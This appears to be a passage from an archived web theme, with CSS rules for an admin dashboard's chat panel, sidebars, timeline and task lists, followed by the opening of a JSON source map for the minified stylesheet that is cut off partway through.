margin-right: -1.07143em; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item { background: none; border: 0; border-top: 1px solid #eef1f2; padding: 1em 1.07143em; overflow: hidden; color: #999; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure { margin: 0; position: relative; margin-right: 10px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item figure img { width: 40px; height: 40px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span { line-height: 1em; display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: end; -moz-justify-content: end; -ms-justify-content: end; justify-content: end; -ms-flex-pack: end; -webkit-flex-direction: column; -moz-flex-direction: column; -ms-flex-direction: column; flex-direction: column; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group .list-group-item span .name { font-size: 14px; color: #444; margin-bottom: 5px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .chat-list .list-group [class*="user-"]:after { position: absolute; top: calc(50% + 15px); left: 0; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel { position: fixed; top: calc(100vh); right: calc( 240px + 15px); width: 310px; z-index: 9999; -moz-transform: translateY(-100%) translateX(14.0625rem); -o-transform: translateY(-100%) translateX(14.0625rem); -ms-transform: translateY(-100%) translateX(14.0625rem); -webkit-transform: translateY(-100%) translateX(14.0625rem); transform: translateY(-100%) translateX(14.0625rem); } .wrapper .page-wrap .chat-panel .card { border: none; margin-bottom: 1.42857em; border-radius: 10px; -webkit-border-radius: 10px; -moz-border-radius: 10px; -webkit-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); -moz-box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); box-shadow: 0 4px 8px 3px rgba(0, 0, 0, 0.2); } .wrapper .page-wrap .chat-panel .card .card-header { background: none; padding: 1.07143em 1.42857em; font-size: 1.14286em; border-bottom: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-body { padding: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages { position: relative; max-height: 21.42857em; overflow-y: scroll; margin-top: -1.07143em; margin-right: -1.07143em; margin-left: -1.07143em; padding-top: 1.07143em; padding-right: 1.07143em; padding-left: 1.07143em; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message { margin: 0.71429em 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message:first-child { margin-top: 0; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure { -webkit-box-ordinal-group: 3; -ms-flex-order: 2; margin: 0; position: relative; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message figure img { width: 30px; height: 30px; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body { margin-top: .5em; display: -webkit-inline-box; display: -ms-inline-flexbox; display: inline-flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; -ms-flex-direction: column; flex-direction: column; -webkit-box-align: end; -ms-flex-align: end; align-items: flex-end; margin: auto 1.5em; -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p { background: #404E67; border: 1px solid #404E67; border-radius: 3px; padding: .5em 1em; color: #fff; margin-bottom: .5em; position: relative; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; top: 1.25rem; right: -7px; left: auto; border-style: solid; border-width: 6px 0 7px 6px; border-color: transparent transparent transparent #404E67; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message .message-body p:first-child:before { right: -7px; border-left-color: #404E67; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply figure { -webkit-box-ordinal-group: 2; -ms-flex-order: 1; order: 1; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; -webkit-box-ordinal-group: 3; -ms-flex-order: 2; order: 2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p { background: #fff; border: 1px solid #eef1f2; border-radius: 0; border-top-right-radius: 3px; border-bottom-right-radius: 3px; border-radius: 3px; color: #666; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after, .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:before { left: -9px; border-right-color: #eef1f2; } .wrapper .page-wrap .chat-panel .card .card-body .messages .message.reply .message-body p:first-child:after { content: ""; height: 0; width: 0; display: block; position: absolute; right: auto; left: -7px; border-style: solid; border-width: 6px 7px 6px 0; border-color: transparent #fff transparent transparent; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .chat-panel .card .card-footer { background: none; padding: 1.07143em 1.42857em; border-top: 1px solid rgba(153, 153, 153, 0.2); } .wrapper .page-wrap .chat-panel .card .card-footer .list-icon { font-size: 1.125rem; } .wrapper .page-wrap .chat-panel .card .card-footer textarea { box-shadow: none; resize: none; padding: 0; width: 100%; min-height: auto; padding: 5px 0; } .wrapper.nav-collapsed .header-top { padding-left: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar { width: 60px; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-header .header-brand .text { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a::before { display: none; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover { width: 240px; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .header-brand .text { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-lavel { display: block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a span { display: inline-block; } .wrapper.nav-collapsed .page-wrap .app-sidebar:hover .sidebar-content .nav-container .navigation-main .nav-item a::before { display: inline-block; } .wrapper.nav-collapsed .page-wrap .main-content { padding-left: 75px; } .wrapper.nav-collapsed .page-wrap .footer { padding-left: 90px; } .wrapper.menu-collapsed .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } .wrapper.right-sidebar-expand .right-sidebar { -moz-transform: translateX(0); -o-transform: translateX(0); -ms-transform: translateX(0); -webkit-transform: translateX(0); transform: translateX(0); } .wrapper.right-sidebar-expand .chat-panel { -moz-transform: translateY(-100%) translateX(0); -o-transform: translateY(-100%) translateX(0); -ms-transform: translateY(-100%) translateX(0); -webkit-transform: translateY(-100%) translateX(0); transform: translateY(-100%) translateX(0); } hr { box-sizing: content-box; height: 0; margin-top: 1rem; border: 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline { position: relative; padding-left: 40px; margin: 40px 10px 0 30px; border-left: 1px solid rgba(0, 0, 0, 0.1); } .profiletimeline .sl-item { margin-top: 8px; margin-bottom: 30px; } .profiletimeline .sl-item .sl-left { float: left; margin-left: -60px; z-index: 1; margin-right: 15px; } .profiletimeline .sl-item .sl-left img { max-width: 40px; } .profiletimeline .sl-item .sl-right .sl-date { font-size: 12px; color: #afb5c1; } .dd-handle { background: #f7f7f7; border-radius: 3px; padding: 20px; position: relative; display: block; text-decoration: none; margin: 5px 0; overflow: hidden; } .dd-handle p { margin: 0; } .dd-handle:after, .dd-handle::after { content: ''; width: 5px; height: 100%; position: absolute; top: 0; left: 0; } .dd-list { margin: 0; padding: 0; list-style: none; } .dd-list .dd-placeholder, .dd-list .dd-empty { margin: 5px 0; padding: 0; min-height: 30px; background: #f2fbff; border: 1px dashed #b6bcbf; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dd-list .dd-list { padding-left: 30px; } .dd-dragel { position: absolute; pointer-events: none; z-index: 9999; } .dd-dragel .dd-handle { -webkit-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); -ms-box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); box-shadow: 2px 4px 6px 0 rgba(0, 0, 0, 0.1); } .todo-task .dd-handle:after, .todo-task .dd-handle::after { background-color: #f5365c; } .progress-task .dd-handle:after, .progress-task .dd-handle::after { background-color: #F7CA18; } .completed-task .dd-handle:after, .completed-task .dd-handle::after { background-color: #26C281; } [class*="user--"]::after { height: 0.64286em; width: 0.64286em; display: block; position: absolute; top: 0; right: 10%; border-radius: 100px; content: ""; -webkit-box-shadow: 0 0 0 2px #fff; box-shadow: 0 0 0 2px #fff; } .user--online:after { background: #06d6a0; } .user--busy:after { background: #ff3333; } .user--offline:after { background: #bbb; } /*# sourceMappingURL=theme.css.map */ css/theme.min.css.map000064400000274561151676723140010541 0ustar00{ "version": 3, "mappings": "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